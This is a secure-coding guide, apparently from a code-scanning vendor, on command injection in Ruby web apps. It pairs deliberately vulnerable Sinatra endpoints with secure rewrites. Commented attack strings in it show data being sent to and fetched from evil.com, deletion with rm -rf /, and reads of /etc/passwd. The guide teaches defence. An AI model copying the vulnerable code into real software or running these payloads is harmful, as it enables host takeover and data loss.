Command injection from untrusted input in system/exec/IO.popen command execution

Critical Risk command-injection
rubycommand-injectionsystemexecio-popenshellrce

What it is

A critical security vulnerability where untrusted data is interpolated into command strings sent to process execution APIs, enabling shell metacharacter injection. Attackers could execute arbitrary system commands, read and modify server files, exfiltrate secrets, and fully compromise the host.

# VULNERABLE: Ruby web application with command injection
require 'sinatra'
require 'json'

# VULNERABLE: File processing endpoint
post '/process' do
  content_type :json
  
  data = JSON.parse(request.body.read)
  operation = data['operation']
  filename = data['filename']
  options = data['options'] || ''
  
  begin
    case operation
    when 'view'
      # VULNERABLE: system() with string interpolation
      result = system("cat #{filename}")
      { status: 'success', result: result }.to_json
      
    when 'info'
      # VULNERABLE: IO.popen with user input
      output = IO.popen("file #{filename}") { |io| io.read }
      { status: 'success', info: output }.to_json
      
    when 'search'
      pattern = data['pattern']
      # VULNERABLE: Multiple user inputs in command
      result = `grep #{options} "#{pattern}" #{filename}`
      { status: 'success', matches: result }.to_json
      
    when 'backup'
      destination = data['destination']
      # VULNERABLE: exec() with user-controlled command
      exec("cp #{filename} #{destination}")
      
    when 'compress'
      # VULNERABLE: String interpolation in system call
      system("tar #{options} -czf #{filename}.tar.gz #{filename}")
      { status: 'success', message: 'Compressed' }.to_json
      
    else
      { status: 'error', message: 'Unknown operation' }.to_json
    end
    
  rescue => e
    { status: 'error', message: e.message }.to_json
  end
end

# VULNERABLE: Admin utilities
get '/admin/:tool' do
  tool = params[:tool]
  target = params[:target]
  args = params[:args] || ''
  
  # DANGEROUS: Complete user control over command
  command = "#{tool} #{args} #{target}"
  
  begin
    output = `#{command}`
    { output: output }.to_json
  rescue => e
    { error: e.message }.to_json
  end
end

# VULNERABLE: Log analysis
post '/analyze_logs' do
  log_file = params[:log_file]
  filter = params[:filter]
  
  # VULNERABLE: awk command with user input
  analysis = `awk '#{filter}' #{log_file}`
  
  { analysis: analysis }.to_json
end

# Attack examples:
# POST /process {"operation":"view", "filename":"/etc/passwd; wget evil.com/steal"}
# POST /process {"operation":"search", "filename":"data.txt", "pattern":"test", "options":"-r /etc"}
# GET /admin/ls?target=/&args=-la; rm -rf /; echo
# POST /analyze_logs log_file=app.log&filter=/error/ { system("curl evil.com/backdoor") }
# SECURE: Ruby web application without command injection
require 'sinatra'
require 'json'
require 'open3'
require 'digest'
require 'fileutils'

# Configuration
set :show_exceptions, false

# SECURE: File processor with validation
class SecureFileProcessor
  ALLOWED_OPERATIONS = %w[info hash lines copy].freeze
  SAFE_DIRECTORIES = ['/safe/uploads', '/safe/documents'].freeze
  MAX_FILE_SIZE = 10 * 1024 * 1024 # 10MB
  
  def process_file(operation, filename)
    raise ArgumentError, 'Operation not allowed' unless ALLOWED_OPERATIONS.include?(operation)
    
    file_path = validate_file_path(filename)
    
    case operation
    when 'info'
      get_file_info(file_path)
    when 'hash'
      calculate_hash(file_path)
    when 'lines'
      count_lines(file_path)
    when 'copy'
      copy_file(file_path)
    end
  end
  
  private
  
  def validate_file_path(filename)
    # Strict filename validation
    raise ArgumentError, 'Invalid filename format' unless filename.match?(/\A[a-zA-Z0-9._-]+\z/)
    raise ArgumentError, 'Filename too long' if filename.length > 255
    
    # Find file in safe directories
    SAFE_DIRECTORIES.each do |dir|
      candidate_path = File.join(dir, filename)
      resolved_path = File.expand_path(candidate_path)
      
      # Ensure within safe directory
      next unless resolved_path.start_with?(File.expand_path(dir))
      
      if File.exist?(resolved_path) && File.file?(resolved_path)
        # Check file size
        raise ArgumentError, 'File too large' if File.size(resolved_path) > MAX_FILE_SIZE
        return resolved_path
      end
    end
    
    raise ArgumentError, 'File not found in safe directories'
  end
  
  def get_file_info(file_path)
    stat = File.stat(file_path)
    {
      name: File.basename(file_path),
      size: stat.size,
      modified: stat.mtime.iso8601,
      permissions: sprintf('%o', stat.mode)[-3..-1],
      readable: File.readable?(file_path)
    }
  end
  
  def calculate_hash(file_path)
    File.open(file_path, 'rb') do |file|
      content = file.read
      {
        file: File.basename(file_path),
        size: content.length,
        md5: Digest::MD5.hexdigest(content),
        sha256: Digest::SHA256.hexdigest(content)
      }
    end
  end
  
  def count_lines(file_path)
    lines = File.foreach(file_path).count
    {
      file: File.basename(file_path),
      lines: lines
    }
  end
  
  def copy_file(file_path)
    backup_dir = '/safe/backup'
    FileUtils.mkdir_p(backup_dir)
    
    timestamp = Time.now.strftime('%Y%m%d_%H%M%S')
    backup_name = "#{File.basename(file_path, '.*')}_#{timestamp}#{File.extname(file_path)}"
    backup_path = File.join(backup_dir, backup_name)
    
    FileUtils.copy(file_path, backup_path)
    
    {
      original: File.basename(file_path),
      backup: backup_name,
      success: true
    }
  end
end

# SECURE: Rate limiting
class RateLimiter
  def initialize
    @requests = Hash.new { |h, k| h[k] = [] }
  end
  
  def allowed?(ip, limit = 10, window = 60)
    now = Time.now
    @requests[ip].reject! { |time| now - time > window }
    
    if @requests[ip].length < limit
      @requests[ip] << now
      true
    else
      false
    end
  end
end

# Initialize components
processor = SecureFileProcessor.new
rate_limiter = RateLimiter.new

# Middleware for rate limiting
before do
  client_ip = request.env['HTTP_X_FORWARDED_FOR'] || request.ip
  
  unless rate_limiter.allowed?(client_ip)
    halt 429, { error: 'Rate limit exceeded' }.to_json
  end
end

# SECURE: File processing endpoint
post '/process' do
  content_type :json
  
  begin
    data = JSON.parse(request.body.read)
    operation = data['operation']
    filename = data['filename']
    
    # Validate inputs
    halt 400, { error: 'Operation required' }.to_json unless operation
    halt 400, { error: 'Filename required' }.to_json unless filename
    
    # Process file securely
    result = processor.process_file(operation, filename)
    
    {
      status: 'success',
      operation: operation,
      result: result
    }.to_json
    
  rescue JSON::ParserError
    halt 400, { error: 'Invalid JSON' }.to_json
  rescue ArgumentError => e
    halt 400, { error: e.message }.to_json
  rescue => e
    logger.error "Processing error: #{e.message}"
    halt 500, { error: 'Processing failed' }.to_json
  end
end

# SECURE: List available operations
get '/operations' do
  content_type :json
  
  {
    available_operations: SecureFileProcessor::ALLOWED_OPERATIONS,
    safe_directories: SecureFileProcessor::SAFE_DIRECTORIES
  }.to_json
end

# Error handlers
error 404 do
  content_type :json
  { error: 'Endpoint not found' }.to_json
end

error 500 do
  content_type :json
  { error: 'Internal server error' }.to_json
end

# Health check
get '/health' do
  content_type :json
  { status: 'healthy', timestamp: Time.now.iso8601 }.to_json
end

💡 Why This Fix Works

The vulnerable code uses system(), exec(), IO.popen(), and backticks with user input, allowing command injection through string interpolation. The secure version eliminates all shell command execution, uses native Ruby file operations, implements comprehensive input validation, and includes rate limiting and proper error handling.

Why it happens

Using Ruby's system() method with string interpolation containing user input. This allows shell metacharacters to be injected and executed by the system shell.

Root causes

String Interpolation in system() Calls

Using Ruby's system() method with string interpolation containing user input. This allows shell metacharacters to be injected and executed by the system shell.

Preview example – RUBY
# VULNERABLE: String interpolation in system()
def process_file(filename)
  # DANGEROUS: User input in shell command
  system("cat #{filename}")
end

def backup_files(source, destination)
  # VULNERABLE: Multiple user inputs
  system("cp -r #{source} #{destination}")
end

# Attack examples:
# process_file("/etc/passwd; wget evil.com/steal")
# backup_files("data; rm -rf /", "/tmp")

User Input in IO.popen and exec()

Passing user-controlled strings to IO.popen, exec(), or backtick operators enables command injection through shell interpretation of metacharacters.

Preview example – RUBY
# VULNERABLE: IO.popen with user input
def get_file_info(filename)
  # DANGEROUS: Shell command with user data
  IO.popen("file #{filename}") do |io|
    io.read
  end
end

# VULNERABLE: exec() with user input
def execute_command(cmd, args)
  # DANGEROUS: Direct command execution
  exec("#{cmd} #{args}")
end

# VULNERABLE: Backtick execution
def quick_command(user_input)
  # DANGEROUS: Backticks with user data
  result = `ls -la #{user_input}`
  result
end

# Attack examples:
# get_file_info("test.txt; cat /etc/passwd; echo")
# execute_command("ls", "; rm -rf /; echo")
# quick_command("/tmp; curl evil.com/steal")

Fixes

1

Use Array Form of system() and spawn()

Use the array form of system(), exec(), and spawn() methods to avoid shell interpretation. Pass command and arguments as separate array elements.

View implementation – RUBY
# SECURE: Array form avoids shell interpretation
def process_file_safe(filename)
  # Validate filename
  return false unless valid_filename?(filename)
  
  # SECURE: Array form with separate arguments
  system('cat', filename)
end

def backup_files_safe(source, destination)
  # Validate inputs
  return false unless valid_path?(source) && valid_path?(destination)
  
  # SECURE: Array form prevents injection
  system('cp', '-r', source, destination)
end

def execute_command_safe(operation, target)
  # Allowlist commands
  allowed_commands = {
    'list' => ['ls', '-la'],
    'info' => ['file'],
    'size' => ['du', '-h']
  }
  
  return false unless allowed_commands.key?(operation)
  return false unless valid_filename?(target)
  
  command = allowed_commands[operation] + [target]
  system(*command)
end

def valid_filename?(filename)
  # Strict validation
  filename.match?(/\A[a-zA-Z0-9._-]+\z/) &&
    filename.length <= 255 &&
    !filename.include?('..')
end

def valid_path?(path)
  # Path validation
  allowed_dirs = ['/safe/uploads', '/safe/documents']
  resolved_path = File.expand_path(path)
  
  allowed_dirs.any? { |dir| resolved_path.start_with?(dir) }
end
2

Use Open3 for Safe Process Execution

Use the Open3 module for secure process execution with proper argument handling and output capture without shell interpretation.

View implementation – RUBY
require 'open3'
require 'shellwords'

# SECURE: Open3 for safe process execution
class SecureCommandRunner
  ALLOWED_COMMANDS = {
    'count_lines' => ['wc', '-l'],
    'file_type' => ['file'],
    'checksum' => ['sha256sum'],
    'list_files' => ['ls', '-la']
  }.freeze
  
  SAFE_DIRECTORIES = ['/safe/uploads', '/safe/documents'].freeze
  
  def execute_command(operation, filename)
    # Validate operation
    raise ArgumentError, 'Operation not allowed' unless ALLOWED_COMMANDS.key?(operation)
    
    # Validate and resolve filename
    safe_path = validate_file_path(filename)
    
    # Build command array
    command = ALLOWED_COMMANDS[operation] + [safe_path]
    
    # Execute safely with Open3
    stdout, stderr, status = Open3.capture3(*command)
    
    {
      success: status.success?,
      output: stdout,
      error: stderr,
      exit_code: status.exitstatus
    }
  rescue => e
    { success: false, error: e.message }
  end
  
  def execute_with_timeout(operation, filename, timeout = 30)
    safe_path = validate_file_path(filename)
    command = ALLOWED_COMMANDS[operation] + [safe_path]
    
    # Execute with timeout
    stdout, stderr, status = Open3.capture3(*command, timeout: timeout)
    
    {
      success: status.success?,
      output: stdout,
      error: stderr
    }
  rescue Timeout::Error
    { success: false, error: 'Command timeout' }
  rescue => e
    { success: false, error: e.message }
  end
  
  private
  
  def validate_file_path(filename)
    # Basic filename validation
    raise ArgumentError, 'Invalid filename' unless filename.match?(/\A[a-zA-Z0-9._-]+\z/)
    raise ArgumentError, 'Filename too long' if filename.length > 255
    
    # Find file in safe directories
    SAFE_DIRECTORIES.each do |dir|
      candidate_path = File.join(dir, filename)
      resolved_path = File.expand_path(candidate_path)
      
      # Ensure path is within safe directory
      next unless resolved_path.start_with?(File.expand_path(dir))
      
      # Check if file exists
      if File.exist?(resolved_path) && File.file?(resolved_path)
        return resolved_path
      end
    end
    
    raise ArgumentError, 'File not found in safe directories'
  end
end

# Usage example
runner = SecureCommandRunner.new
result = runner.execute_command('count_lines', 'document.txt')
puts result[:output] if result[:success]
3

Use Native Ruby Libraries

Replace shell commands with native Ruby libraries and File operations whenever possible to avoid command execution entirely.

View implementation – RUBY
require 'digest'
require 'fileutils'

# SECURE: Native Ruby file operations
class NativeFileProcessor
  SAFE_DIRECTORIES = ['/safe/uploads', '/safe/documents'].freeze
  MAX_FILE_SIZE = 10 * 1024 * 1024 # 10MB
  
  def process_file(operation, filename)
    file_path = validate_file_path(filename)
    
    case operation
    when 'info'
      get_file_info(file_path)
    when 'hash'
      calculate_hash(file_path)
    when 'lines'
      count_lines(file_path)
    when 'copy'
      copy_file(file_path)
    else
      raise ArgumentError, 'Operation not supported'
    end
  end
  
  private
  
  def get_file_info(file_path)
    stat = File.stat(file_path)
    
    {
      name: File.basename(file_path),
      size: stat.size,
      size_human: format_size(stat.size),
      modified: stat.mtime,
      permissions: sprintf('%o', stat.mode)[-3..-1],
      readable: File.readable?(file_path),
      writable: File.writable?(file_path)
    }
  end
  
  def calculate_hash(file_path)
    algorithms = %w[md5 sha1 sha256]
    hashes = {}
    
    File.open(file_path, 'rb') do |file|
      content = file.read
      
      algorithms.each do |algo|
        hashes[algo] = Digest.const_get(algo.upcase).hexdigest(content)
      end
    end
    
    {
      file: File.basename(file_path),
      size: File.size(file_path),
      hashes: hashes
    }
  end
  
  def count_lines(file_path)
    line_count = File.foreach(file_path).count
    
    {
      file: File.basename(file_path),
      lines: line_count
    }
  rescue => e
    raise ArgumentError, "Cannot count lines: #{e.message}"
  end
  
  def copy_file(file_path)
    backup_dir = '/safe/backup'
    FileUtils.mkdir_p(backup_dir) unless Dir.exist?(backup_dir)
    
    timestamp = Time.now.strftime('%Y%m%d_%H%M%S')
    backup_name = "#{File.basename(file_path, '.*')}_#{timestamp}#{File.extname(file_path)}"
    backup_path = File.join(backup_dir, backup_name)
    
    FileUtils.copy(file_path, backup_path)
    
    {
      original: File.basename(file_path),
      backup: backup_name,
      backup_path: backup_path,
      size: File.size(backup_path)
    }
  end
  
  def validate_file_path(filename)
    # Filename validation
    raise ArgumentError, 'Invalid filename' unless filename.match?(/\A[a-zA-Z0-9._-]+\z/)
    raise ArgumentError, 'Filename too long' if filename.length > 255
    
    # Find in safe directories
    SAFE_DIRECTORIES.each do |dir|
      candidate_path = File.join(dir, filename)
      resolved_path = File.expand_path(candidate_path)
      
      next unless resolved_path.start_with?(File.expand_path(dir))
      
      if File.exist?(resolved_path) && File.file?(resolved_path)
        # Check file size
        raise ArgumentError, 'File too large' if File.size(resolved_path) > MAX_FILE_SIZE
        
        return resolved_path
      end
    end
    
    raise ArgumentError, 'File not found in safe directories'
  end
  
  def format_size(size)
    units = %w[B KB MB GB]
    unit_index = 0
    
    while size >= 1024 && unit_index < units.length - 1
      size /= 1024.0
      unit_index += 1
    end
    
    "#{size.round(2)} #{units[unit_index]}"
  end
end

# Usage
processor = NativeFileProcessor.new
result = processor.process_file('info', 'document.txt')
puts result.inspect

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection from untrusted input in system/exec/io.popen command execution and many other security issues in your codebase.